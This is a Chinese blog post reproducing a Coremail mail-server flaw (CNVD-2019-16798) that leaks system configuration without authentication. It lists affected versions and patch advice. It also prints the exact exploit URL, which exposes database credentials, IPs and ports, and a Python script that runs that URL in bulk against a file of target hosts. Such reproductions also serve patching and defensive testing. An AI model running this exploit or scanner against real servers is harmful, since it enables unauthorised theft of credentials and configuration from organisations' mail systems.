Coremail信息泄漏复现-Parad0x

###Coremail信息泄漏复现-Parad0x

一、Coremail简介

Coremail产品诞生于1999年，经过二十多年发展，如今从亿万级别的运营系统，到几万人的大型企业，都有了Coremail的客户。
截止2019年，Coremail邮件系统产品在国内已拥有10亿终端用户 ，是目前国内拥有邮箱使用用户最多的邮件系统。Coremail今天不但为网易（126、163、yeah）、移动，联通等知名运营商提供电子邮件整体技术解决方案及企业邮局运营服务，还为石油、钢铁、电力、政府、金融、教育、尖端制造企业等用户提供邮件系统软件和反垃圾服务。

二、漏洞介绍

网上目前公开的资料中未发现分析过程及coremail源码，以下为coremail的漏洞介绍：
由于Coremail邮件系统的mailsms模块的参数大小写敏感存在缺陷，使得攻击者利用该漏洞，在未授权的情况下，通过远程访问URL地址获知Coremail服务器的系统配置文件，造成数据库连接参数等系统敏感配置信息泄露。

三、影响版本

漏洞影响的版本为Coremail XT 3.0.1至XT 5.0.9版本，已安装的程序包的版本号日期早于20190524。
主要影响Coremail的Web服务端口，非Web服务端口（SMTP、POP3）不受影响。

四、漏洞编号

CNVD-2019-16798

四、漏洞复现

漏洞利用：
http://目标URL/mailsms/s?func=ADMIN:appState&dumpConfig=/
泄露的文件包括：文件路径、IP、端口、数据库用户、密码等敏感信息。

五、修复建议

Coremail论客公司已发布补丁进行修复，针对Coremail XT5和Coremail XT3/CM5版本，补丁编号为CMXT5-2019-0002，程序版本1.1.0-alphabuild20190524(3813d273)，建议用户及时更新补丁。
Coremail更新到XT 5.0.9a及以上版本

六、测试POC

简单批量测试脚本：

import requests
import argparse
import sys

parser = argparse.ArgumentParser(description="mail.py -t targer.txt")
parser.add_argument('-t', '--target', metavar="", help="This is the address list (targer.txt)")
args = parser.parse_args()
url_file = args.target
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0'}
payload = '/mailsms/s?func=ADMIN:appState&dumpConfig=/'

def scan(url_file):
    filelist = open(url_file, 'r')
    target_list = filelist.readlines()
    all_url = len(target_list)
    print(all_url)
    for each in target_list:
        urllist = each.rstrip() + payload
        try:
            res = requests.get(urllist, headers=headers, timeout=1)
            code = res.status_code
            if code == 200:
                print(urllist)
        except:
            pass
    filelist.close()

def main():
    scan(url_file)

if __name__ == '__main__':
    main()

七、参考链接

https://blog.csdn.net/god_zzZ/article/details/92735189